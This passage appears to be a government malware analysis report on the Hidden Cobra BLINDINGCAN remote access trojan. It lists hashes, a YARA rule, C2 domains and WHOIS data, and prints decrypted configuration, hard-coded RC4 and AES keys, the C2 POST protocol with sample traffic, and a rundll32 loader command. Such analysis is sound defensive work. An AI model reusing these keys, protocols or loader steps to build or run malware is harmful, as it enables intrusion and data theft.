"boardid, bbsNo, strBoardID, userid, bbsfilename, code, pidseqNo, ReportID, v, PageNumbernumviewread, action, pagemodeidx, cateId, bbsId, pType, pcode, index, tblidx_num, act, bbs_id, bbs_form, bidbbscate, menutcode, b_code, bname, tb, borad01, borad02, borad03, midnewsid, table, Board_seq, bc_idx, seqArticleIDB_Notice, nowPage, webid, boardDiv, sub_idx"

"\\tsclient\"

--End decrypted strings--

It collects the following information about the victim's system and beacons the collected data to the C2 "curiofirenze.com" and

"automercado.co.cr":

--Begin system information--

Operating system (OS) version information

Processor information

System name

Local IP address information

Media access control (MAC) address.

--End system information--

It attempts to retrieve the User-Agent string from the victim's system. If not available, it uses the following embedded User-Agent string:

--Begin User-Agent String--

"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36" .

--End User-Agent String--

It will generate HTTP POST requests with the following format:

--Begin HTTP POST format--

POST /<uri> HTTP/1.1

Connection: Keep-Alive

Cache-Control: no-cache

Content-Type: application/x-www-form-urlencoded

Accept: */*

User-Agent: <obtained from ObtainUserAgentString otherwise: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 >

Host: <domain>

Content-Length: <length>

id=<nine random character generated RC4 key><three_random_param_selected>&<second parameter>=<sessionID>&<third parameter >=<hard-coded_String>&<fourth parameter>=<datagram>

--End HTTP POST format--

The HTTP POST body contains four parameters of Base64 encoded data as displayed below:

--Begin four parameters--

Four parameters: id=<nine random character generated RC4 key><three_random_param_selected>&<second parameter>=<sessionID>&<third parameter >=<hard-coded_String>&<fourth parameter>=<datagram>

Sample:
id=Z2ptZmx0b250JpzkM7R+AAxesq7t1Eo4Dg==&page=bsyybw==&bbsNo=AszBYcolV00l69W9ihtkLg==&bname="

--End four parameters--

The first parameter tag, 'id=', will consist of two separate Base64 encoded parts. The first part consists of a Base64 encoded nine random generated lower case character RC4 key used for encryption. The second part of the 'id=' parameter tag will contain three parameters randomly selected from a list of the below strings. These three randomly selected name tags are colon delimited and stored in the following format:"first name tag:second name tag:third name tag". This data is encrypted using the nine random character generated RC4 key and Base64 encoded.

--Begin randomly selected string tags--

"boardid, bbsNo, strBoardID, userid, bbsfilename, code, pidseqNo, ReportID, v, PageNumbernumviewread, action, pagemodeidx, cateId, bbsId, pType, pcode, index, tblidx_num, act, bbs_id, bbs_form, bidbbscate, menutcode, b_code, bname, tb, borad01, borad02, borad03, midnewsid, table, Board_seq, bc_idx, seqArticleIDB_Notice, nowPage, webid, boardDiv, sub_idx"

--End randomly selected string tags--

The second parameter tag 'page=' is a randomly selected name from the list of the above string tags which contains the "session id" data. This data is encrypted using the same generated RC4 key before Base64 encoded.

The third parameter tag 'bbsNo=' is a randomly selected name from a list of the above string tags which contains a hard-coded string data "T1B7D95256A2001E" in the malware. This data is encrypted using the RC4 key and then the data is Base64 encoded. Analysis indicates that when encrypting data from the first three parameters, the encryption starts "0xC00 bytes" into the RC4 key stream.

The fourth parameter tag 'bname=' is a randomly selected name from the list of the above string tags which contains the datagram to be sent. The datagram is encrypted with a combination of RC4 and differential XOR. The RC4 key used is "0D 06 09 2A 86 48 86 F7 0D 01 01 01 05 00 03 82".

It contains the following built-in functions for remote operations that provide various capabilities on a victim’s system:

--Begin built-in functions--

Retrieve information about all installed disks, including the disk type and the amount of free space on the disk

Create, start, and terminate a new process and its primary thread

Search, read, write, move, and execute files

Get and modify file or directory timestamps

Change the current directory for a process or file

Delete malware and artifacts associated with the malware from the infected system

--End built-in functions--

7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd

Tags

HIDDEN-COBRA

Details

Name	7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd
Size	163840 bytes

Type	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
MD5	6f329c32f228d9a4d856afd4794c7f2b
SHA1	4be9aecc0fc76c037420ece97645c6a32294a230
SHA256	7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd
SHA512	f4aff0e36fb98d64ff207a983ca7ed10c11ad7b01953b545c655a3349016f9d6c5fbd3cc8d44851cb68c51f069da2469b1e3445cd60b6e1365
ssdeep	384:vNV+PKlwRYnd2dPugCkPV59FYRz8xM6hwXlbfR+1nu6EDH+zj+1XoNC3vyFAt1:vNIKip92x8rhOdmnTEDwu3vy
Entropy	1.605796

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date	2019-10-30 22:21:48-04:00
Import Hash	75588d29242e426f361ddcf8c53954f5

PE Sections

MD5	Name	Raw Size	Entropy
0452202027da519acb3a7d074696de07	header	1024	2.351340
ae1c3feb6a3beda4db0ce8c794af77e7	.text	17920	6.473020
c139714dd00b81eb08ecaf32bdced254	.rdata	8192	4.655148
0685a556cdaa359c306b3c7830fc6f1e	.data	3072	2.403876
a2b361aa5b6f2d5912845d84ca96a368	.rsrc	512	5.105029
d2e652e58f57bd6314d5ebf8f59687e9	.reloc	2048	5.497034

Packers/Compilers/Cryptors

Microsoft Visual C++ DLL *sign by CodeRipper

Relationships

7d507281e2...	Contained_Within	b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

Description

This application is a 32-bit DLL unpacked and executed by "b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9". This file is designed to unmap the DLL "C:\ProgramData\iconcache.db" loaded in the process.

0fc12e03ee93d19003b2dd7117a66a3da03bd6177ac6eb396ed52a40be913db6

Tags

downloaderdropper

Details

Name	0FC12E03EE93D19003B2DD7117A66A3DA03BD6177AC6EB396ED52A40BE913DB6
Size	900096 bytes
Type	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
MD5	b1dd2c73b3c13a147828f7bb4389d241
SHA1	5275449d25a64e7415c1c1e727a0af76b08c2811
SHA256	0fc12e03ee93d19003b2dd7117a66a3da03bd6177ac6eb396ed52a40be913db6
SHA512	054b8c4345e97aa4719415971cb5df83f208a2c11302baba66392251a5d7d8251e564443fd4716d82cacf2a5da94250cc8defd9300e08850
ssdeep	12288:sXcnHdDS0zaEw2W912s3xN+JgHGJNfKAyhnB8EoarWY9ZtvaBmBJnLoAFMx8wIWF:sMH9S8avT2Ex5mJNfbyYBaaY9L
Entropy	7.961146

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date	2020-05-20 02:03:51-04:00
Import Hash	65793cf7eaeca085293db7251eb4469a

PE Sections

MD5	Name	Raw Size	Entropy
a1c37a2c9fedecabe570383d81bfb5d6	header	1024	2.524544
61e11f8acaaf9d065546a237ced1e964	.text	31744	6.348358
9f1fe9ee707daa61e91ad94d618b066f	.rdata	11264	4.687720
300ac7ec543fda0fab22c110a7d26281	.data	850432	7.993358
da2a58c7e17c14ced8b67bc462ad7427	.pdata	2048	4.219318
531f04a4abeb58f9e10fffc6afe98250	.rsrc	512	5.110827
58c4168b836758e380e64f12eca00760	.reloc	3072	1.006647

Relationships

0fc12e03ee...	Dropped	d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

Description

This application is a 64-bit DLL. Upon execution, it decodes an embedded 64-bit UPX packed DLL using a hard-coded XOR key: "0x59". The decoded DLL is installed and executed from "C:\ProgramData\iconcache.db" (d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5) with the following command:

--Begin Command--

"C:\Windows\System32\rundll32.exe C:\ProgramData\iconcache.db,SMain S-7-43-8423-97048307-383378-8483"

--End Command--

d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

Tags

obfuscatedremote-access-trojan

Details

Name	iconcache.db
Size	845312 bytes
Type	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
MD5	c2c5751cdfdbe9fac44337d4cb6e74e4
SHA1	02678efe715ff2658c6a4c2b596046b744a8b222
SHA256	d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5
SHA512	dddd82c21ee815a570689c8023f51267a2699346eadb8cf5cb6a2bfc4e0404ab8388608e934c03b8b69819bab1b5252ed8b29391f543a1c1
ssdeep	24576:aSiVfP99Z7QI32TVKBixBWfSVz5HlWkZtk:aSMH94/TVKsfGc9Iqt
Entropy	7.996450

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date	2019-10-30 22:22:27-04:00
Import Hash	bddf350b1495019b036eb25682895735
Company Name	TODO: <Company name>
File Description	TODO: <File description>
Internal Name	MFC_DLL.dll
Legal Copyright	TODO: (c) <Company name>. All rights reserved.
Original Filename	MFC_DLL.dll
Product Name	TODO: <Product name>
Product Version	1.0.0.1

PE Sections

MD5	Name	Raw Size	Entropy
bbdf7f1c6cfdab4beb23ae1f5e5e8e3f	header	1024	2.753386
d41d8cd98f00b204e9800998ecf8427e	UPX0	0	0.000000
61de5945f98a8652eaf4ae5b93b41128	UPX1	838656	7.999757
70b01a5a98c1febe2bde96c9270957c3	.rsrc	5632	3.718427

Relationships

d5186efd85...	Connected_To	curiofirenze.com
d5186efd85...	Connected_To	automercado.co.cr
d5186efd85...	Dropped_By	0fc12e03ee93d19003b2dd7117a66a3da03bd6177ac6eb396ed52a40be913db6
d5186efd85...	Contains	58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d
d5186efd85...	Contains	8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050

Description

This application is a 64-bit UPX packed DLL installed by "0FC12E03EE93D19003B2DD7117A66A3DA03BD6177AC6EB396ED52A40BE913DB6" into the C:\ProgramData\iconcache.db" directory. During execution, it uses AES cipher to decrypt and then decompress two embedded 64-bit DLL binaries "58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d" and "8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050" in memory. These binaries are loaded and executed in memory during runtime.

58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d

Tags

HIDDEN-COBRA

Details

Name	58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d
Size	214608 bytes
Type	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
MD5	6c2d15114ebdd910a336b6b147512a74
SHA1	9feef1eed2a8a5cbfe1c6478f2740d8fe63305e2
SHA256	58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d
SHA512	77fd1d56a0f0cf143286fb78519b69eb8ef30f383c117d353ab16d0be5f2bfdbdb847d717dbc8b70b5d806a46fa4a1dc29a8304b8349bc109
ssdeep	3072:WvG/9l8VoAo8gj83efR0TmXBlPbAjoSrL90z1agX:0VoAo8qlWTmXBlPbAjHl0j
Entropy	4.709829

Antivirus

No matches found.

YARA Rules

- rule CISA_10295134_01 : rat trojan HIDDENCOBRA BLINDINGCAN

  {

    meta:

      Author = "CISA Code & Media Analysis"

      Incident = "10295134"

      Date = "2020-07-28"

      Last_Modified = "20200730_1030"

      Actor = "HiddenCobra"

      Category = "Trojan RAT"

```
        Family = "BLINDINGCAN"
        Description = "Detects 32 and 64bit HiddenCobra BlindingCan Trojan RAT"
        MD5_1 = "e7718609577c6e34221b03de7e959a8c"
        SHA256_1 = "bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1"
        MD5_2 = "6c2d15114ebdd910a336b6b147512a74"
        SHA256_2 = "58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d"
    strings:
        $s0 = { C7 44 24 20 0D 06 09 2A C7 44 24 24 86 48 86 F7 C7 44 24 28 0D 01 01 01 C7 44 24 2C 05 00 03 82 }
        $s1 = { C7 45 EC 0D 06 09 2A C7 45 F0 86 48 86 F7 C7 45 F4 0D 01 01 01 C7 45 F8 05 00 03 82 }
    condition:
        $s0 or $s1
}
```

ssdeep Matches

90	20ee5fdc9589067a7a312d6f660f0c8f33048f511975298ca6a9bfed145fe8fd
100	78a65874b49922217fd0423cc6293a23f70cb804022283ed3187b71178663ca3

PE Metadata

Compile Date	2020-05-19 03:26:27-04:00
Import Hash	af2479dbb1f93be4fc4a092cbbd4df85

PE Sections

MD5	Name	Raw Size	Entropy
6066ee1e6c73fe6133738f26cf898280	header	1024	2.581998
bfbe6f46025a25810199ae50f7f7ed04	.text	90624	6.498666
2cc742e33c53aeb638e9798422f8adaa	.rdata	31232	6.194223
21c81d1a5ad5583610f1bcb7827fec54	.data	14336	3.377777
0a93a2ad9833deb5581854bc11c7fcb7	.pdata	3584	4.918413
9a33838895830247744985365b8b2948	.rsrc	512	5.115767
e032dedb2f8e5a189a3a98897f1f7f92	.reloc	1536	2.852342

Relationships

58027c80c6...	Contained_Within	d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5
58027c80c6...	Connected_From	curiofirenze.com
58027c80c6...	Connected_From	automercado.co.cr

Description

This application is a malicious 64-bit DLL unpacked and executed by "d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5". This binary has been identified as a 64-bit version of the Hidden Cobra RAT "bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1". This file contains the same embedded configuration data. The embedded data is decrypted using a hard-coded AES decryption key:

"81SNWX3ALGPDMW5V". The decrypted data is decoded using an XOR cipher. Displayed below is the content of the decoded data:

--Begin configuration data--

https[:]//www[.]automercado.co.cr/empleo/css/main.jsp

https[:]//www[.]automercado.co.cr/empleo/css/main.jsp

https[:]//www[.]automercado.co.cr/empleo/css/main.jsp

https[:]//www[.]curiofirenze.com/include/inc-site.asp

https[:]//www[.]curiofirenze.com/include/inc-site.asp

c:\windows\system32\cmd.exe

%temp%

--End configuration data--

The malware decrypts its strings using a hard-coded RC4 key "0D 06 09 2A 86 48 86 F7 0D 01 01 01 05 00 03 82". Displayed below are sample decrypted strings observed during analysis:

--Begin decrypted strings--

"Hardware\Description\System\CentralProcessor\0"

"ProcessorNameString"

"boardid, bbsNo, strBoardID, userid, bbsfilename, code, pidseqNo, ReportID, v, PageNumbernumviewread, action, pagemodeidx, cateId, bbsId, pType, pcode, index, tblidx_num, act, bbs_id, bbs_form, bidbbscate, menutcode, b_code, bname, tb, borad01, borad02, borad03, midnewsid, table, Board_seq, bc_idx, seqArticleIDB_Notice, nowPage, webid, boardDiv, sub_idx"

"\\tsclient\"

--End decrypted strings--

It collects the following information about the victim's system and beacons the collected data to the C2 "curiofirenze.com" and

"automercado.co.cr":

--Begin system information--

Operating system (OS) version information

Processor information

System name

Local IP address information

Media access control (MAC) address.

--End system information--

It attempts to retrieve the User-Agent string from the victim's system, if not available, it uses the following embedded User-Agent string:

--Begin User-Agent String--

"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36" .

--End User-Agent String--

It will generate HTTP POST requests with the following format:

--Begin HTTP POST format--

POST /<uri> HTTP/1.1

Connection: Keep-Alive

Cache-Control: no-cache

Content-Type: application/x-www-form-urlencoded

Accept: */*

User-Agent: <obtained from ObtainUserAgentString otherwise: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 >

Host: <domain>

Content-Length: <length>

id=<nine random character generated RC4 key><three_random_param_selected>&<second parameter>=<sessionID>& <third parameter >=<hard-coded_String>&<fourth parameter>=<datagram>

--End HTTP POST format--

The HTTP POST body contains four parameters of Base64 encoded data as displayed below:

--Begin four parameters--

Four parameters: id=<nine random character generated RC4 key><three_random_param_selected>&<second parameter>= <sessionID>&<third parameter >=<hard-coded_String>&<fourth parameter>=<datagram>

Sample:
id=Z2ptZmx0b250JpzkM7R+AAxesq7t1Eo4Dg==&page=bsyybw==&bbsNo=AszBYcolV00l69W9ihtkLg==&bname="

--End four parameters--

The first parameter tag, 'id=', will consist of two separate Base64 encoded parts. The first part consists of a Base64 encoded nine random generated lower case character RC4 key used for encryption. The second part of the 'id=' parameter tag will contain three parameters randomly selected from a list of the below strings. These three randomly selected name tags are colon delimited and stored in the following format:"first name tag:second name tag:third name tag". This data is encrypted using the nine random character generated RC4 key and Base64 encoded.

--Begin randomly selected string tags--

"boardid, bbsNo, strBoardID, userid, bbsfilename, code, pidseqNo, ReportID, v, PageNumbernumviewread, action, pagemodeidx, cateId, bbsId, pType, pcode, index, tblidx_num, act, bbs_id, bbs_form, bidbbscate, menutcode, b_code, bname, tb, borad01, borad02, borad03, midnewsid, table, Board_seq, bc_idx, seqArticleIDB_Notice, nowPage, webid, boardDiv, sub_idx"

--End randomly selected string tags--

The second parameter tag 'page=' is a randomly selected name from the list of the above string tags which contains the "session id" data. This data is encrypted using the same generated RC4 key before Base64 encoded.

The third parameter tag 'bbsNo=' is a randomly selected name from the list of the above string tags which contains a hard-coded string data "T1B7D95256A2001E" in the malware. This data is encrypted using the RC4 key and then the data is Base64 encoded. Analysis indicates that when encrypting data from the first three parameters, the encryption starts "0xC00 bytes" into the RC4 key stream.

The fourth parameter tag 'bname=' is a randomly selected name from a list of the above string tags which contains the datagram to be sent. The datagram is encrypted with a combination of RC4 and differential XOR. The RC4 key used is "0D 06 09 2A 86 48 86 F7 0D 01 01 01 05 00 03 82".

It contains the following built-in functions for remote operations that provide various capabilities on a victim’s system:

--Begin built-in functions--

Retrieve information about all installed disks, including the disk type and the amount of free space on the disk

Create, start, and terminate a new process and its primary thread

Search, read, write, move, and execute files

Get and modify file or directory timestamps

Change the current directory for a process or file

Delete malware and artifacts associated with the malware from the infected system

--End built-in functions--

8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050

Details

Name	8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050
Size	172208 bytes
Type	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
MD5	63d155f889e09272d85cfd9dfc266131
SHA1	3f6ef29b86bf1687013ae7638f66502bcf883bfd
SHA256	8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050
SHA512	1f5464c9cb2786174d953666a287d5a681abe627e9caddf45986cd73290e6d73db9ddf2ccd589a0c09e4fe10cdf42b1d8d31dbfc57595058
ssdeep	768:XKXHstI+TCTWBGtl7CTnEUbrNXzuXrSXjkD4opaY16iWr:X7TCN/CTrbrNjGsjMdvW
Entropy	1.637592

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date	2019-10-30 22:21:47-04:00
Import Hash	7e564082b35201e421694b4ecea4ed0a

PE Sections

MD5	Name	Raw Size	Entropy
71170f767f99b3b8e8fb41eb4ca505b9	header	1024	2.465212
99d34a0fcb234b3aed2a92fc7101b9f5	.text	20480	6.210180
46abe134e48b8af335f468d25c91a1fe	.rdata	9728	4.554618
c545b6874d37d733e970a7e884ddc2c7	.data	4096	2.099924
0d6201e58760b130181228a80ca4a775	.pdata	1536	3.828383
a09ee0743bee58fbe63a9a50c1d3f79b	.rsrc	512	5.105029
1360c7212899568e17f02f8e61db1c60	.reloc	512	4.003257

Relationships

8b53b51962...	Contained_Within	d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

Description

This application is a 64-bit DLL unpacked and executed by "d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5". This file is designed to unmap the DLL "C:\ProgramData\iconcache.db" loaded in the process.

curiofirenze.com

Tags

command-and-control

URLs

- hxxps[:]//www[.]curiofirenze.com/include/inc-site.asp

Ports

- 443 TCP

HTTP Sessions

- https://www.curiofirenze.com/include/inc-site.asp

  id=bHRhcGpjaGR05HIC99liJ/0pLNaM14H22x8ktA==&PageNumber=hitSpw==&bname=4CInpdMuf615aK3cidCq+w==&tb=

  Connection: Keep-Alive

  Cache-Control: no-cache

  Accept: */*

  Content-Type: application/x-www-form-urlencoded

  Content-Length: %d Mozilla/5 0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36

Whois

Domain Name: curiofirenze.com

Registry Domain ID: 1874895918_DOMAIN_COM-VRSN

Registrar WHOIS Server: whois.joker.com

Registrar URL: https://joker.com

Updated Date: 2019-11-25T10:15:37Z

Creation Date: 2014-09-09T12:05:53Z

Registrar Registration Expiration Date: 2020-09-09T12:05:53Z

Registrar: CSL Computer Service Langenbach GmbH d/b/a joker.com

Registrar IANA ID: 113

Registrar Abuse Contact Email: abuse@joker.com

Registrar Abuse Contact Phone: +49.21186767447

Reseller: CWNET s.r.l.

Reseller: Internet Service Provider

Reseller: http://www.cheapnet.it

Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited

Registrant Organization: Curio s.r.l.

Registrant State/Province: FI

Registrant Country: IT

Name Server: lady.ns.cloudflare.com

Name Server: phil.ns.cloudflare.com

DNSSEC: unsigned

URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/

>>> Last update of WHOIS database: 2020-06-30T20:18:19Z <<<

Relationships

curiofirenze.com	Connected_From	b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9
curiofirenze.com	Connected_From	d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5
curiofirenze.com	Resolved_To	192.99.20.39
curiofirenze.com	Connected_From	bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1
curiofirenze.com	Connected_To	58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d

Description

Both the 32-bit and 64-bit "iconcache.db" connect to the domain via HTTPS POST requests on port 443 with encoded data.

192.99.20.39

Whois

Queried whois.arin.net with "n 192.99.20.39"...

NetRange: 192.99.0.0 - 192.99.255.255

CIDR: 192.99.0.0/16

NetName: OVH-ARIN-7

NetHandle: NET-192-99-0-0-1

Parent: NET192 (NET-192-0-0-0-0)

NetType: Direct Allocation

OriginAS: AS16276

Organization: OVH Hosting, Inc. (HO-2)

RegDate: 2013-06-17

Updated: 2013-06-17

Comment: www.ovh.com

Ref: https://rdap.arin.net/registry/ip/192.99.0.0

OrgName: OVH Hosting, Inc.

OrgId: HO-2

Address: 800-1801 McGill College

City: Montreal

StateProv: QC

PostalCode: H3A 2N4

Country: CA

RegDate: 2011-06-22

Updated: 2017-01-28

Ref: https://rdap.arin.net/registry/entity/HO-2

OrgAbuseHandle: ABUSE3956-ARIN

OrgAbuseName: Abuse

OrgAbusePhone: +1-855-684-5463

OrgAbuseEmail: abuse@ovh.ca

OrgAbuseRef: https://rdap.arin.net/registry/entity/ABUSE3956-ARIN

OrgTechHandle: NOC11876-ARIN

OrgTechName: NOC

OrgTechPhone: +1-855-684-5463

OrgTechEmail: noc@ovh.net

OrgTechRef: https://rdap.arin.net/registry/entity/NOC11876-ARIN

Relationships

192.99.20.39	Resolved_To	curiofirenze.com

Description

Domain "curiofirenze.com" resolved to this IP address during analysis.

automercado.co.cr

Tags

command-and-control

URLs

- hxxps[:]//www[.]automercado.co.cr/empleo/css/main.jsp

Ports

- 443 TCP

HTTP Sessions

- hxxps[:]//www[.]automercado.co.cr/empleo/css/main.jsp

  id=ZHJnd296a3RneKp2cza8ztn5YZTuEO4IhpdkXb0=&bbs_id=Kfk8Gw==&bname=TvlHGxvhwYmiNri5Grdduw==&idx_num=

  Connection: Keep-Alive

  Cache-Control: no-cache

  Accept: */*

  Content-Type: application/x-www-form-urlencoded

  Content-Length: %d Mozilla/5 0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36

Whois

domain: automercado.co.cr

registrant: CON-292

admin-c: CON-292

nsset: AUTOMERCADO_CO_CR

registrar: NIC-REG1

registered: 03.03.1996 06:00:00

changed: 24.02.2020 08:19:22

expire: 02.03.2021

contact: CON-292

address: San José

address: 1500-1000

address: San Josí©

address: CR

registrar: NIC-REG1

created: 03.06.2011 22:38:21

nsset: AUTOMERCADO_CO_CR

nserver: ns3.x-peditenetworks.com

nserver: ns1.x-peditenetworks.com

nserver: ns2.x-peditenetworks.com

tech-c: ASANCHEZ_AT_AUTOMERCADO.CR

registrar: NIC-REG1

created: 03.06.2011 12:27:09

changed: 25.09.2012 10:01:46

address: 50 m sur del parque morazan

address: San Jose

address: 1500-1000

address: San José

address: CR

registrar: NIC-REG1

created: 25.09.2012 09:59:04

Relationships

automercado.co.cr	Resolved_To	54.241.91.49
automercado.co.cr	Connected_From	b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9
automercado.co.cr	Connected_From	d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5
automercado.co.cr	Connected_From	bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1
automercado.co.cr	Connected_To	58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d

Description

Both the 32-bit and 64-bit "iconcache.db" connect to the domain via HTTPS POST requests on port 443 with encoded data.

54.241.91.49

Whois

Queried whois.arin.net with "n 54.241.91.49"...

NetRange: 54.240.0.0 - 54.255.255.255

CIDR: 54.240.0.0/12

NetName: AMAZON-2011L

NetHandle: NET-54-240-0-0-1

Parent: NET54 (NET-54-0-0-0-0)

NetType: Direct Allocation

OriginAS: AS16509

Organization: Amazon Technologies Inc. (AT-88-Z)

RegDate: 2011-12-09

Updated: 2012-04-02

Ref: https://rdap.arin.net/registry/ip/54.240.0.0

OrgName: Amazon Technologies Inc.

OrgId: AT-88-Z

Address: 410 Terry Ave N.

City: Seattle

StateProv: WA

PostalCode: 98109

Country: US

RegDate: 2011-12-08

Updated: 2020-03-31

Comment: All abuse reports MUST include:

Comment: * src IP

Comment: * dest IP (your IP)

Comment: * dest port

Comment: * Accurate date/timestamp and timezone of activity

Comment: * Intensity/frequency (short log extracts)

Comment: * Your contact details (phone and email) Without these we will be unable to identify the correct owner of the IP address at that point in time.

Ref: https://rdap.arin.net/registry/entity/AT-88-Z

OrgAbuseHandle: AEA8-ARIN

OrgAbuseName: Amazon EC2 Abuse

OrgAbusePhone: +1-206-266-4064

OrgAbuseEmail: abuse@amazonaws.com

OrgAbuseRef: https://rdap.arin.net/registry/entity/AEA8-ARIN

OrgNOCHandle: AANO1-ARIN

OrgNOCName: Amazon AWS Network Operations

OrgNOCPhone: +1-206-266-4064

OrgNOCEmail: amzn-noc-contact@amazon.com

OrgNOCRef: https://rdap.arin.net/registry/entity/AANO1-ARIN

OrgTechHandle: ANO24-ARIN

OrgTechName: Amazon EC2 Network Operations

OrgTechPhone: +1-206-266-4064

OrgTechEmail: amzn-noc-contact@amazon.com

OrgTechRef: https://rdap.arin.net/registry/entity/ANO24-ARIN

OrgRoutingHandle: ADR29-ARIN

OrgRoutingName: AWS Dogfish Routing

OrgRoutingPhone: +1-206-266-4064

OrgRoutingEmail: aws-dogfish-routing-poc@amazon.com

OrgRoutingRef: https://rdap.arin.net/registry/entity/ADR29-ARIN

OrgRoutingHandle: IPROU3-ARIN

OrgRoutingName: IP Routing

OrgRoutingPhone: +1-206-266-4064

OrgRoutingEmail: aws-routing-poc@amazon.com

OrgRoutingRef: https://rdap.arin.net/registry/entity/IPROU3-ARIN

Relationships

54.241.91.49	Resolved_To	automercado.co.cr

Description

Domain "automercado.co.cr" resolved to this IP during analysis.

Relationship Summary

586d012540...	Connected_To	agarwalpropertyconsultants.com
agarwalpropertyconsultants.com	Connected_From	586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e
agarwalpropertyconsultants.com	Resolved_To	199.79.63.24
199.79.63.24	Resolved_To	agarwalpropertyconsultants.com
158ddb8561...	Connected_To	anca-aste.it
7933716892...	Connected_To	anca-aste.it
6a3446b8a4...	Connected_To	anca-aste.it
anca-aste.it	Resolved_To	51.68.152.96
anca-aste.it	Connected_From	6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1
anca-aste.it	Connected_From	158ddb85611b4784b6f5ca7181936b86eb0ec9a3c67562b1d57badd7b7ec2d17
anca-aste.it	Connected_From	7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971
51.68.152.96	Resolved_To	anca-aste.it
d40ad4cd39...	Dropped	b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9
b70e66d387...	Connected_To	curiofirenze.com
b70e66d387...	Connected_To	automercado.co.cr
b70e66d387...	Dropped_By	d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9

b70e66d387...	Contains	bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1
b70e66d387...	Contains	7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd
bdfd16dc53...	Contained_Within	b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9
bdfd16dc53...	Connected_To	curiofirenze.com
bdfd16dc53...	Connected_To	automercado.co.cr
7d507281e2...	Contained_Within	b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9
0fc12e03ee...	Dropped	d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5
d5186efd85...	Connected_To	curiofirenze.com
d5186efd85...	Connected_To	automercado.co.cr
d5186efd85...	Dropped_By	0fc12e03ee93d19003b2dd7117a66a3da03bd6177ac6eb396ed52a40be913db6
d5186efd85...	Contains	58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d
